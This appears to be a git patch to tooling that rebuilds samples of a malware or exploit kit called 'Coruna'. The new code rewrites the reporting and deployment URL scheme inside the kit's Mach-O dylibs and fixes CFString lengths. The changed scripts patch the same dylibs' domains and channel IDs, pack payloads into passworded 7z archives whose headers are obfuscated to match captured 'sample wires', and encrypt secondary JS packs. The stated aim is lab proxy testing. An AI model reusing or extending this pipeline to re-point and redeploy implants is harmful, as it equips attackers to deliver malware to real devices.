From 94f686e66859f81ae1d4ddf9fd63c9f65117ec3f Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 8 Aug 2026 06:09:30 +0800 Subject: [PATCH] init --- frontend/tests/test_scheme_patch.py | 56 ++++++++++ frontend/tools/_scheme_patch.py | 139 ++++++++++++++++++++++++ frontend/tools/patch_core.py | 34 +++--- frontend/tools/patch_secondary_packs.py | 5 + 4 files changed, 218 insertions(+), 16 deletions(-) create mode 100644 frontend/tests/test_scheme_patch.py create mode 100644 frontend/tools/_scheme_patch.py diff --git a/frontend/tests/test_scheme_patch.py b/frontend/tests/test_scheme_patch.py new file mode 100644 index 0000000..4c9a645 --- /dev/null +++ b/frontend/tests/test_scheme_patch.py @@ -0,0 +1,56 @@ +import sys +import unittest +from pathlib import Path + + +FRONTEND = Path(__file__).resolve().parents[1] +TOOLS = FRONTEND / "tools" +if str(TOOLS) not in sys.path: + sys.path.insert(0, str(TOOLS)) + +from _scheme_patch import ( + LEGACY_SLASH, + NEW_VISIBLE, + OLD, + patch_deployment_scheme_to_http, +) + + +class SchemePatchTests(unittest.TestCase): + def test_slot_sizes(self) -> None: + self.assertEqual(len(OLD), 10) + self.assertEqual(len(LEGACY_SLASH), 10) + self.assertEqual(len(NEW_VISIBLE), 9) + + def test_patches_core_fat_dylib(self) -> None: + src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" + data = src.read_bytes() + self.assertEqual(data.count(OLD), 2) + out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core") + self.assertEqual(out.count(OLD), 0) + self.assertEqual(out.count(LEGACY_SLASH), 0) + self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2) + + def test_migrates_legacy_trailing_slash(self) -> None: + src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" + legacy = src.read_bytes().replace(OLD, LEGACY_SLASH) + self.assertEqual(legacy.count(LEGACY_SLASH), 2) + out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core") + self.assertEqual(out.count(LEGACY_SLASH), 0) + self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2) + + def test_patches_type0x01_thin(self) -> None: + src = ( + FRONTEND + / "source" + / "type0x01_dylibs" + / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib" + ) + data = src.read_bytes() + out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0") + self.assertEqual(out.count(OLD), 0) + self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1) + + +if __name__ == "__main__": + unittest.main() diff --git a/frontend/tools/_scheme_patch.py b/frontend/tools/_scheme_patch.py new file mode 100644 index 0000000..6d06aac --- /dev/null +++ b/frontend/tools/_scheme_patch.py @@ -0,0 +1,139 @@ +"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing. + +Core/type0x01 build URLs with the cstring/CFString format ``https://%@``. +daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``. + +``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad) +and matching CFString length fields are updated 10 → 9. Do **not** use a trailing +slash in the format string — paths already start with ``/``, which produced +``https://host//api/...``. +""" + +from __future__ import annotations + +import struct + +from _path_patch import _arm64e_target, _fat_slices, _parse_macho + +OLD = b"https://%@" +# Previous mistaken same-length patch (caused host//path). +LEGACY_SLASH = b"http://%@/" +# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL). +NEW_SLOT = b"http://%@\x00" +NEW_VISIBLE = b"http://%@" + + +def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: + macho = _parse_macho(data, label=label) + base_subtype = macho.cpu_subtype & 0x00FFFFFF + architecture = ( + "arm64e" if base_subtype == 2 else "arm64" if base_subtype == 0 else "" + ) + if architecture not in {"arm64", "arm64e"}: + raise SystemExit(f"{label}: unsupported CPU subtype {base_subtype}") + + cstring = macho.section("__TEXT", "__cstring") + region = bytearray(data[cstring.offset : cstring.offset + cstring.size]) + + # Prefer migrating legacy slash form, else patch original https form. + if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0: + source = LEGACY_SLASH + elif region.count(OLD) == expect_hits: + source = OLD + elif ( + region.count(NEW_VISIBLE) >= expect_hits + and region.count(OLD) == 0 + and region.count(LEGACY_SLASH) == 0 + ): + # Already patched to http://%@ (NUL-terminated). + return data + else: + raise SystemExit( + f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in " + f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}" + ) + + hits: list[int] = [] + start = 0 + while True: + hit = region.find(source, start) + if hit < 0: + break + hits.append(hit) + start = hit + 1 + if len(hits) != expect_hits: + raise SystemExit( + f"{label}: __cstring scheme hits={len(hits)}, expected {expect_hits}" + ) + + for hit in hits: + region[hit : hit + len(NEW_SLOT)] = NEW_SLOT + + buf = bytearray(data) + buf[cstring.offset : cstring.offset + cstring.size] = region + + cfstring = macho.section("__DATA_CONST", "__cfstring") + if cfstring.size % 32: + raise SystemExit(f"{label}: __cfstring size is not record-aligned") + + patched_lengths = 0 + for hit in hits: + path_vmaddr = cstring.addr + hit + for record_offset in range( + cfstring.offset, cfstring.offset + cfstring.size, 32 + ): + raw = struct.unpack_from(" bytes: + """Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs. + + ``expect_hits`` is the total number of format strings across the whole file + (2 for fat core, 1 for thin type0x01). + """ + slices = _fat_slices(data, label=label) + if slices is None: + return _patch_thin_scheme(data, expect_hits=expect_hits, label=label) + + if expect_hits % len(slices) != 0: + raise SystemExit( + f"{label}: expect_hits={expect_hits} not divisible by fat slices={len(slices)}" + ) + per_slice = expect_hits // len(slices) + buf = bytearray(data) + for index, slice_info in enumerate(slices): + thin = bytes(buf[slice_info.offset : slice_info.offset + slice_info.size]) + patched = _patch_thin_scheme( + thin, expect_hits=per_slice, label=f"{label}[slice{index}]" + ) + if len(patched) != slice_info.size: + raise SystemExit(f"{label}: fat slice size changed after scheme patch") + buf[slice_info.offset : slice_info.offset + slice_info.size] = patched + return bytes(buf) diff --git a/frontend/tools/patch_core.py b/frontend/tools/patch_core.py index 30c6074..8228cc6 100644 --- a/frontend/tools/patch_core.py +++ b/frontend/tools/patch_core.py @@ -28,6 +28,7 @@ from _common import ( ) from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _path_patch import patch_initial_daily_path +from _scheme_patch import patch_deployment_scheme_to_http import _common from coruna_netconfig_pipeline import ( @@ -59,10 +60,11 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes: return bytes(out) -# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19. -# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1). +# Sample wires use 7-Zip EncodedHeader shape (next_sz≈47, Headers Size=191). +# py7zr writes a different EncodedHeader the client rejects as NO_ARCHIVE (17). +# macOS `7z a ` embeds Unix mode bits (extract -1). `7z a -siNAME` does not. _7Z_PACK_FILTER = "LZMA2:a=0:d=8k" -_7Z_CACHE_TAG = b"lzma2:13\0" +_7Z_CACHE_TAG = b"lzma2:13-si\0" def _find_7z() -> str: @@ -71,15 +73,16 @@ def _find_7z() -> str: if path: return path raise SystemExit( - "7z required to pack Coruna archives (LZMA2:13). Install p7zip." + "7z required to pack Coruna archives (LZMA2:13 via -si). Install p7zip." ) def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes: - """Build passworded 7z with sample-compatible LZMA2:13; cache by content.""" + """Build passworded 7z matching sample EncodedHeader/attrs; cache by content.""" + arc_name = Path(member_name).name cache_key = sha256_hex( _7Z_CACHE_TAG - + member_name.encode("utf-8") + + arc_name.encode("utf-8") + b"\0" + password.encode("utf-8") + b"\0" @@ -92,12 +95,7 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes seven = _find_7z() with tempfile.TemporaryDirectory() as tmp: - root = Path(tmp) - # Keep archive member name flat (basename only) like original wires. - arc_name = Path(member_name).name - member = root / arc_name - member.write_bytes(payload) - archive = root / "out.7z" + archive = Path(tmp) / "out.7z" cmd = [ seven, "a", @@ -105,17 +103,17 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes f"-m0={_7Z_PACK_FILTER}", "-mhe=on", f"-p{password}", + f"-si{arc_name}", "-y", "-bso0", "-bsp0", str(archive), - str(member), ] - proc = subprocess.run(cmd, capture_output=True, text=True) + proc = subprocess.run(cmd, input=payload, capture_output=True) if proc.returncode != 0 or not archive.is_file(): - detail = (proc.stderr or proc.stdout or "").strip() + detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip() raise RuntimeError( - f"7z pack failed (code {proc.returncode}): {detail or 'no output'}" + f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}" ) data = archive.read_bytes() @@ -317,6 +315,10 @@ def main() -> int: reporting_seed=rep, label=label, ) + # Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy. + data = patch_deployment_scheme_to_http( + data, expect_hits=2, label=label + ) if expect > 0: data = patch_module_channel( diff --git a/frontend/tools/patch_secondary_packs.py b/frontend/tools/patch_secondary_packs.py index d43bc65..6fcc5c4 100644 --- a/frontend/tools/patch_secondary_packs.py +++ b/frontend/tools/patch_secondary_packs.py @@ -23,6 +23,7 @@ from _common import ( validate_seed_arg, ) from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib +from _scheme_patch import patch_deployment_scheme_to_http from _path_patch import patch_initial_daily_path from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs import _common @@ -140,6 +141,10 @@ def main() -> int: reporting_seed=rep, label=path.name, ) + # Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy. + data = patch_deployment_scheme_to_http( + data, expect_hits=1, label=path.name + ) if channel != ORIGINAL_CHANNEL_ID: data = patch_channel_in_dylib( data,